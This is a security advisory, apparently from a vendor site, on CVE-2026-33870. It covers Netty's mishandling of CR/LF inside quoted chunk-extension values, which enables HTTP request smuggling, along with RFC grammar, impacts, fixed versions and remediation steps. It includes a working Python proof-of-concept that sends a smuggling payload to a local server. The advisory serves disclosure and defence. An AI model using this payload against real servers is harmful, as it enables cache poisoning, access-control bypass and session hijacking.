CVE-2026-33870

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

• https://w4ke.info/2025/06/18/funky-chunks.html
• https://w4ke.info/2025/10/29/funky-chunks-2.html

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions, whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant):
A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Reproduction

1. Start the minimal proof-of-concept environment using the provided Docker configuration.
2. Execute the proof-of-concept script included in the attached archive.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

• RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)
• Funky Chunks Research
• Funky Chunks 2 Research

Attachments

java_netty.zip

• Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
• Cache Poisoning: Smuggled responses may poison shared caches.
• Access Control Bypass: Smuggled requests can circumvent frontend security controls.
• Session Hijacking: Smuggled requests may intercept responses intended for other users.

CVE-2026-33870 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.132.Final, 4.2.10.Final); upgrading removes the vulnerable code path.

Kodem intelligence

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

1. What is CVE-2026-33870? CVE-2026-33870 is a high-severity security vulnerability in io.netty:netty-codec-http (maven), affecting versions < 4.1.132.Final. It is fixed in 4.1.132.Final, 4.2.10.Final.
2. How severe is CVE-2026-33870? CVE-2026-33870 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of io.netty:netty-codec-http are affected by CVE-2026-33870? io.netty:netty-codec-http (maven) versions < 4.1.132.Final is affected.
4. Is there a fix for CVE-2026-33870? Yes. CVE-2026-33870 is fixed in 4.1.132.Final, 4.2.10.Final. Upgrade to this version or later.
5. Is CVE-2026-33870 exploitable, and should I be worried? Whether CVE-2026-33870 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33870 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33870?
   • Upgrade io.netty:netty-codec-http to 4.1.132.Final or later
   • Upgrade io.netty:netty-codec-http to 4.2.10.Final or later

Other vulnerabilities in io.netty:netty-codec-http